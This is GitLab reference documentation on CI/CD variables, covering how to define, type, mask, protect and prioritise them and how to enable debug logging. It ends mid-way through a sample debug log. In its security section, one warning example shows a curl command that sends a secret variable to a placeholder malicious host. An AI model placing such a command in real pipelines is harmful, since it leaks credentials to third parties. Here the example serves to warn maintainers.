1---
2stage: Verify
3group: Pipeline Authoring
4info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
5type: reference
6---
7
8# GitLab CI/CD variables **(FREE)**
9
10CI/CD variables are a type of environment variable. You can use them to:
11
12- Control the behavior of jobs and [pipelines](../pipelines/index.md).
13- Store values you want to re-use.
14- Avoid hard-coding values in your `.gitlab-ci.yml` file.
15
16You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
17
18- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
19- [Project CI/CD variables](#add-a-cicd-variable-to-a-project).
20- [Group CI/CD variables](#add-a-cicd-variable-to-a-group).
21- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance).
22
23NOTE:
24Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md).
25To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`:
26
27```yaml
28variables:
29  SA_PASSWORD: $SA_PASSWORD
30```
31
32> For more information about advanced use of GitLab CI/CD:
33>
34> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/)
35>   shared by GitLab engineers.
36> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/)
37>   of managing projects across many cloud providers with GitLab CI/CD.
38
39## Predefined CI/CD variables
40
41GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
42you can use in pipelines configuration and job scripts.
43
44### Use predefined CI/CD variables
45
46You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
47
48This example shows how to output a job's stage by using the `CI_JOB_STAGE`
49predefined variable:
50
51```yaml
52test_variable:
53  stage: test
54  script:
55    - echo "$CI_JOB_STAGE"
56```
57
58The script outputs the `stage` for the `test_variable`, which is `test`:
59
60![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
61
62## Custom CI/CD variables
63
64You can create custom CI/CD variables:
65
66- For a project:
67  - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
68  - [In the project's settings](#add-a-cicd-variable-to-a-project).
69  - [With the API](../../api/project_level_variables.md).
70- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
71- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
72
73You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
74or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
75
76There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
77
78Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
79to execute scripts. Each shell has its own set of reserved variable names.
80
81Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
82
83By default, pipelines from forked projects can't access CI/CD variables in the parent project.
84If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project),
85all variables become available to the pipeline.
86
87### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
88
89To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file,
90define the variable and value with `variables` keyword.
91
92You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file.
93If the variable is at the top level, it's globally available and all jobs can use it.
94If it's defined in a job, only that job can use it.
95
96```yaml
97variables:
98  TEST_VAR: "All jobs can use this variable's value"
99
100job1:
101  variables:
102    TEST_VAR_JOB: "Only job1 can use this variable's value"
103  script:
104    - echo "$TEST_VAR" and "$TEST_VAR_JOB"
105```
106
107Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project
108configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are
109visible in the repository. Store sensitive variables containing secrets, keys, and so on
110in project settings.
111
112Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md).
113
114If you don't want globally defined variables to be available in a job, set `variables`
115to `{}`:
116
117```yaml
118job1:
119  variables: {}
120  script:
121    - echo This job does not need any variables
122```
123
124Use the [`value` and `description`](../yaml/index.md#variablesdescription)
125keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
126for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
127
128### Use variables in other variables
129
130You can use variables inside other variables:
131
132```yaml
133job:
134  variables:
135    FLAGS: '-al'
136    LS_CMD: 'ls "$FLAGS"'
137  script:
138    - 'eval "$LS_CMD"'  # Executes 'ls -al'
139```
140
141#### Use the `$` character in variables
142
143If you do not want the `$` character interpreted as the start of a variable, use `$$` instead:
144
145```yaml
146job:
147  variables:
148    FLAGS: '-al'
149    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
150  script:
151    - 'eval "$LS_CMD"'  # Executes 'ls -al $TMP_DIR'
152```
153
154### Add a CI/CD variable to a project
155
156You can add CI/CD variables to a project's settings. Only project members with the
157[Maintainer role](../../user/permissions.md#project-members-permissions)
158can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
159in the project settings, not in the `.gitlab-ci.yml` file.
160
161To add or update variables in the project settings:
162
1631. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
1641. Select the **Add Variable** button and fill in the details:
165
166   - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
167   - **Value**: No limitations.
168   - **Type**: [`File` or `Variable`](#cicd-variable-types).
169   - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md).
170   - **Protect variable** Optional. If selected, the variable is only available
171     in pipelines that run on protected branches or tags.
172   - **Mask variable** Optional. If selected, the variable's **Value** is masked
173     in job logs. The variable fails to save if the value does not meet the
174     [masking requirements](#mask-a-cicd-variable).
175
176After you create a variable, you can use it in the `.gitlab-ci.yml` file:
177
178```yaml
179test_variable:
180  stage: test
181  script:
182    - echo "$CI_JOB_STAGE"  # calls a predefined variable
183    - echo "$TEST"          # calls a custom variable of type `env_var`
184    - echo "$GREETING"      # calls a custom variable of type `file` that contains the path to the temp file
185    - cat "$GREETING"       # the temp file itself contains the variable value
186```
187
188The output is:
189
190![Output custom variable](img/custom_variables_output.png)
191
192### Add a CI/CD variable to a group
193
194> Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11
195
196To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
197
198Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
199
200- Do **not** use an external key store.
201- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
202
203To add a group variable:
204
2051. In the group, go to **Settings > CI/CD**.
2061. Select the **Add Variable** button and fill in the details:
207
208   - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
209   - **Value**: No limitations.
210   - **Type**: [`File` or `Variable`](#cicd-variable-types).
211   - **Environment scope** Optional. `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
212   - **Protect variable** Optional. If selected, the variable is only available
213     in pipelines that run on protected branches or tags.
214   - **Mask variable** Optional. If selected, the variable's **Value** is masked
215     in job logs. The variable fails to save if the value does not meet the
216     [masking requirements](#mask-a-cicd-variable).
217
218#### View all group-level variables available in a project
219
220To view all the group-level variables available in a project:
221
2221. In the project, go to **Settings > CI/CD**.
2231. Expand the **Variables** section.
224
225Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
226inherited.
227
228![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
229
230### Add a CI/CD variable to an instance **(FREE SELF)**
231
232> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
233> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
234
235To make a CI/CD variable available to all projects and groups in a GitLab instance,
236add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md).
237
238You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md).
239
240To add an instance variable:
241
2421. On the top bar, select **Menu > Admin**.
2431. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section.
2441. Select the **Add variable** button, and fill in the details:
245
246   - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
247   - **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028),
248     10,000 characters is allowed. This is also bounded by the limits of the selected
249     runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
250   - **Type**: [`File` or `Variable`](#cicd-variable-types).
251   - **Protect variable** Optional. If selected, the variable is only available
252     in pipelines that run on protected branches or tags.
253   - **Mask variable** Optional. If selected, the variable's **Value** is not shown
254     in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
255
256### CI/CD variable types
257
258> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
259
260All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
261are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
262or `File` type.
263
264`Variable` type variables:
265
266- Consist of a key and value pair.
267- Are made available in jobs as environment variables, with:
268  - The CI/CD variable key as the environment variable name.
269  - The CI/CD variable value as the environment variable value.
270
271Use `File` type CI/CD variables for tools that need a file as input.
272
273`File` type variables:
274
275- Consist of a key, value and file.
276- Are made available in jobs as environment variables, with
277  - The CI/CD variable key as the environment variable name.
278  - The CI/CD variable value saved to a temporary file.
279  - The path to the temporary file as the environment variable value.
280
281Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
282and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
283use `File` type variables for configuration.
284
285For example, if you have the following variables:
286
287- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
288- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
289
290Use the variables in a job script like this:
291
292```shell
293kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
294```
295
296WARNING:
297Be careful when assigning the value of a file variable to another variable. The other
298variable takes the content of the file as its value, **not** the path to the file.
299See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details.
300
301An alternative to `File` type variables is to:
302
303- Read the value of a CI/CD variable (`variable` type).
304- Save the value in a file.
305- Use that file in your script.
306
307```shell
308# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
309cat "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
310# Pass the newly created file to kubectl
311kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
312```
313
314#### Store multiple values in one variable
315
316It is not possible to create a CI/CD variable that is an array of values, but you
317can use shell scripting techniques for similar behavior.
318
319For example, you can store multiple variables separated by a space in a variable,
320then loop through the values with a script:
321
322```yaml
323job1:
324  variables:
325    FOLDERS: src test docs
326  script:
327    - |
328      for FOLDER in $FOLDERS
329        do
330          echo "The path is root/${FOLDER}"
331        done
332```
333
334### Mask a CI/CD variable
335
336> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10
337
338You can mask a project, group, or instance CI/CD variable so the value of the variable
339does not display in job logs.
340
341To mask a variable:
342
3431. In the project, group, or Admin Area, go to **Settings > CI/CD**.
3441. Expand the **Variables** section.
3451. Next to the variable you want to protect, select **Edit**.
3461. Select the **Mask variable** checkbox.
3471. Select **Update variable**.
348
349The value of the variable must:
350
351- Be a single line.
352- Be 8 characters or longer, consisting only of:
353  - Characters from the Base64 alphabet (RFC4648).
354  - The `@` and `:` characters (In [GitLab 12.2 and later](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043)).
355  - The `.` character (In [GitLab 12.10 and later](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022)).
356  - The `~` character (In [GitLab 13.12 and later](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61517)).
357- Not match the name of an existing predefined or custom CI/CD variable.
358
359NOTE:
360Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing
361variable values. To make variables more secure, you can [use external secrets](../secrets/index.md).
362
363WARNING:
364Due to a technical limitation, masked variables that are more than 4 KiB in length are not recommended. Printing such
365a large value to the trace log has the potential to be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128).
366When using GitLab Runner 14.2, only the tail of the variable, characters beyond 4KiB in length, have the potential to
367be revealed.
368
369### Protect a CI/CD variable
370
371You can protect a project, group or instance CI/CD variable so it is only passed
372to pipelines running on [protected branches](../../user/project/protected_branches.md)
373or [protected tags](../../user/project/protected_tags.md).
374
375[Pipelines for merge requests](../pipelines/merge_request_pipelines.md) do not have access to protected variables.
376An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/28002) regarding this limitation.
377
378To protect a variable:
379
3801. Go to **Settings > CI/CD** in the project, group or instance admin area.
3811. Expand the **Variables** section.
3821. Next to the variable you want to protect, select **Edit**.
3831. Select the **Protect variable** checkbox.
3841. Select **Update variable**.
385
386The variable is available for all subsequent pipelines.
387
388### CI/CD variable security
389
390Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
391and send them to a third party server regardless of the masked setting. If the pipeline
392runs on a [protected branch](../../user/project/protected_branches.md) or
393[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
394
395Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
396
397- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
398- Merge the changes.
399
400The following example shows malicious code in a `.gitlab-ci.yml` file:
401
402```yaml
403build:
404  script:
405    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
406```
407
408Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
409and stored in the database. This data can only be read and decrypted with a
410valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
411
412### Custom variables validated by GitLab
413
414Some variables are listed in the UI so you can choose them more quickly.
415
416| Variable                | Allowed Values                                     | Introduced in |
417|-------------------------|----------------------------------------------------|---------------|
418| `AWS_ACCESS_KEY_ID`     | Any                                                | 12.10         |
419| `AWS_DEFAULT_REGION`    | Any                                                | 12.10         |
420| `AWS_SECRET_ACCESS_KEY` | Any                                                | 12.10         |
421
422WARNING:
423When you store credentials, there are [security implications](#cicd-variable-security).
424If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
425
426## Use CI/CD variables in job scripts
427
428All CI/CD variables are set as environment variables in the job's environment.
429You can use variables in job scripts with the standard formatting for each environment's
430shell.
431
432To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
433
434### Use variables with Bash, `sh` and similar
435
436To access environment variables in Bash, `sh`, and similar shells, prefix the
437CI/CD variable with (`$`):
438
439```yaml
440job_name:
441  script:
442    - echo "$CI_JOB_ID"
443```
444
445### Use variables with PowerShell
446
447To access variables in a Windows PowerShell environment, including environment
448variables set by the system, prefix the variable name with (`$env:`) or (`$`):
449
450```yaml
451job_name:
452  script:
453    - echo $env:CI_JOB_ID
454    - echo $CI_JOB_ID
455    - echo $env:PATH
456```
457
458In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
459environment variables must be surrounded by quotes to expand properly:
460
461```yaml
462job_name:
463  script:
464    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
465```
466
467### Use variables with Windows Batch
468
469To access CI/CD variables in Windows Batch, surround the variable
470with `%`:
471
472```yaml
473job_name:
474  script:
475    - echo %CI_JOB_ID%
476```
477
478You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html).
479Delayed expansion might be needed for variables that contain white spaces or newlines.
480
481```yaml
482job_name:
483  script:
484    - echo !ERROR_MESSAGE!
485```
486
487### List all environment variables
488
489You can list all environment variables available to a script with the `export` command
490in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
491variables, which can be a [security risk](#cicd-variable-security).
492[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
493
494For example:
495
496```yaml
497job_name:
498  script:
499    - export
500    # - 'dir env:'  # Use this for PowerShell
501```
502
503Example job log output:
504
505```shell
506export CI_JOB_ID="50"
507export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
508export CI_COMMIT_SHORT_SHA="1ecfd275"
509export CI_COMMIT_REF_NAME="main"
510export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
511export CI_COMMIT_TAG="1.0.0"
512export CI_JOB_NAME="spec:other"
513export CI_JOB_STAGE="test"
514export CI_JOB_MANUAL="true"
515export CI_JOB_TRIGGERED="true"
516export CI_JOB_TOKEN="[masked]"
517export CI_PIPELINE_ID="1000"
518export CI_PIPELINE_IID="10"
519export CI_PAGES_DOMAIN="gitlab.io"
520export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
521export CI_PROJECT_ID="34"
522export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
523export CI_PROJECT_NAME="gitlab-foss"
524export CI_PROJECT_TITLE="GitLab FOSS"
525export CI_PROJECT_NAMESPACE="gitlab-org"
526export CI_PROJECT_ROOT_NAMESPACE="gitlab-org"
527export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
528export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
529export CI_REGISTRY="registry.example.com"
530export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
531export CI_REGISTRY_USER="gitlab-ci-token"
532export CI_REGISTRY_PASSWORD="[masked]"
533export CI_RUNNER_ID="10"
534export CI_RUNNER_DESCRIPTION="my runner"
535export CI_RUNNER_TAGS="docker, linux"
536export CI_SERVER="yes"
537export CI_SERVER_URL="https://example.com"
538export CI_SERVER_HOST="example.com"
539export CI_SERVER_PORT="443"
540export CI_SERVER_PROTOCOL="https"
541export CI_SERVER_NAME="GitLab"
542export CI_SERVER_REVISION="70606bf"
543export CI_SERVER_VERSION="8.9.0"
544export CI_SERVER_VERSION_MAJOR="8"
545export CI_SERVER_VERSION_MINOR="9"
546export CI_SERVER_VERSION_PATCH="0"
547export GITLAB_USER_EMAIL="user@example.com"
548export GITLAB_USER_ID="42"
549...
550```
551
552## Pass an environment variable to another job
553
554> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0.
555> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
556
557You can pass environment variables from one job to another job in a later stage.
558These variables cannot be used as CI/CD variables to configure a pipeline, but
559they can be used in job scripts.
560
5611. In the job script, save the variable as a `.env` file.
5621. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv)
563artifact.
5641. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/index.md#dependencies)
565   or the [`needs`](../yaml/index.md#needs) keywords.
5661. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts).
567
568For example, with the [`dependencies`](../yaml/index.md#dependencies) keyword:
569
570```yaml
571build:
572  stage: build
573  script:
574    - echo "BUILD_VERSION=hello" >> build.env
575  artifacts:
576    reports:
577      dotenv: build.env
578
579deploy:
580  stage: deploy
581  script:
582    - echo "$BUILD_VERSION"  # Output is: 'hello'
583  dependencies:
584    - build
585```
586
587For example, with the [`needs:artifacts`](../yaml/index.md#needsartifacts) keyword:
588
589```yaml
590build:
591  stage: build
592  script:
593    - echo "BUILD_VERSION=hello" >> build.env
594  artifacts:
595    reports:
596      dotenv: build.env
597
598deploy:
599  stage: deploy
600  script:
601    - echo "$BUILD_VERSION"  # Output is: 'hello'
602  needs:
603    - job: build
604      artifacts: true
605```
606
607## CI/CD variable precedence
608
609You can use CI/CD variables with the same name in different places, but the values
610can overwrite each other. The type of variable and where they are defined determines
611which variables take precedence.
612
613The order of precedence for variables is (from highest to lowest):
614
6151. [Trigger variables](../triggers/index.md#pass-cicd-variables-in-the-api-call),
616   [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
617   and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
6181. Project [variables](#custom-cicd-variables).
6191. Group [variables](#add-a-cicd-variable-to-a-group).
6201. Instance [variables](#add-a-cicd-variable-to-an-instance).
6211. [Inherited variables](#pass-an-environment-variable-to-another-job).
6221. Variables defined in jobs in the `.gitlab-ci.yml` file.
6231. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
6241. [Deployment variables](#deployment-variables).
6251. [Predefined variables](predefined_variables.md).
626
627In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`.
628Variables defined in jobs have a higher precedence than variables defined globally.
629
630```yaml
631variables:
632  API_TOKEN: "default"
633
634job1:
635  variables:
636    API_TOKEN: "secure"
637  script:
638    - echo "The variable value is $API_TOKEN"
639```
640
641## Override a defined CI/CD variable
642
643You can override the value of a variable when you:
644
6451. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI.
6461. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline).
6471. Run a job manually in the UI.
6481. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
6491. Trigger a pipeline by using [the API](../triggers/index.md#pass-cicd-variables-in-the-api-call).
6501. Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-the-variables-keyword)
651   or [by using variable inheritance](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-variable-inheritance).
652
653The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence).
654
655### Override a variable when running a pipeline manually
656
657You can override the value of a CI/CD variable when you
658[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
659
6601. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**.
6611. Choose the branch you want to run the pipeline for.
6621. Input the variable and its value in the UI.
663
664### Restrict who can override variables
665
666> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
667
668You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline
669with overridden variables, they receive the `Insufficient permissions to set pipeline variables`
670error message.
671
672If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file),
673use this setting for control over the environment the pipeline runs in.
674
675You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
676to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default.
677
678## Limit the environment scope of a CI/CD variable
679
680By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a
681compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is
682a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting
683the environment scope of a variable. GitLab does this by
684[defining which environments and corresponding jobs](../environments/index.md)
685the variable can be available for.
686
687To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scope-environments-with-specs).
688
689To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected
690branches or tags, see [Protect a CI/CD Variable](#protect-a-cicd-variable).
691
692## Deployment variables
693
694Integrations that are responsible for deployment configuration can define their own
695variables that are set in the build environment. These variables are only defined
696for [deployment jobs](../environments/index.md).
697
698For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables)
699defines deployment variables that you can use with the integration.
700
701The [documentation for each integration](../../user/project/integrations/overview.md)
702explains if the integration has any deployment variables available.
703
704## Auto DevOps environment variables
705
706> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
707
708You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables
709to a running application.
710
711To make a CI/CD variable available as an environment variable in the running application's container,
712[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables)
713with `K8S_SECRET_`.
714
715CI/CD variables with multi-line values are not supported.
716
717## Debug logging
718
719> Introduced in GitLab Runner 1.7.
720
721WARNING:
722Debug logging can be a serious security risk. The output contains the content of
723all variables and other secrets available to the job. The output is uploaded to the
724GitLab server and visible in job logs.
725
726You can use debug logging to help troubleshoot problems with pipeline configuration
727or job scripts. Debug logging exposes job execution details that are usually hidden
728by the runner and makes job logs more verbose. It also exposes all variables and secrets
729available to the job.
730
731Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features)
732can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline)
733with debug output before you make logs public again.
734
735### Enable Debug logging
736
737To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`:
738
739```yaml
740job_name:
741  variables:
742    CI_DEBUG_TRACE: "true"
743```
744
745Example output (truncated):
746
747```shell
748...
749export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
750if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
751  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
752  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
753  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
754  $'\''rm'\'' "-f" ".git/index.lock"
755  $'\''git'\'' "clean" "-ffdx"
756  $'\''git'\'' "reset" "--hard"
757  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
758  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
759++ CI_BUILDS_DIR=/builds
760++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
761++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
762++ export CI_CONCURRENT_ID=87
763++ CI_CONCURRENT_ID=87
764++ export CI_CONCURRENT_PROJECT_ID=0
765++ CI_CONCURRENT_PROJECT_ID=0
766++ export CI_SERVER=yes
767++ CI_SERVER=yes
768++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
769++ echo -n '-----BEGIN CERTIFICATE-----
770-----END CERTIFICATE-----'
771++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
772++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
773++ export CI_PIPELINE_ID=52666
774++ CI_PIPELINE_ID=52666
775++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
776++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
777++ export CI_JOB_ID=7046507
778++ CI_JOB_ID=7046507
779++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
780++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
781++ export CI_JOB_TOKEN=[MASKED]
782++ CI_JOB_TOKEN=[MASKED]
783++ export CI_REGISTRY_USER=gitlab-ci-token
784++ CI_REGISTRY_USER=gitlab-ci-token
785++ export CI_REGISTRY_PASSWORD=[MASKED]
786++ CI_REGISTRY_PASSWORD=[MASKED]
787++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
788++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
789++ export CI_JOB_NAME=debug_trace
790++ CI_JOB_NAME=debug_trace
791++ export CI_JOB_STAGE=test
792++ CI_JOB_STAGE=test
793++ export CI_NODE_TOTAL=1
794++ CI_NODE_TOTAL=1
795++ export CI=true
796++ CI=true
797++ export GITLAB_CI=true
798++ GITLAB_CI=true
799++ export CI_SERVER_URL=https://gitlab.com:3000
800++ CI_SERVER_URL=https://gitlab.com:3000
801++ export CI_SERVER_HOST=gitlab.com
802++ CI_SERVER_HOST=gitlab.com
803++ export CI_SERVER_PORT=3000
804++ CI_SERVER_PORT=3000
805++ export CI_SERVER_PROTOCOL=https
806++ CI_SERVER_PROTOCOL=https
807++ export CI_SERVER_NAME=GitLab
808++ CI_SERVER_NAME=GitLab
809++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_i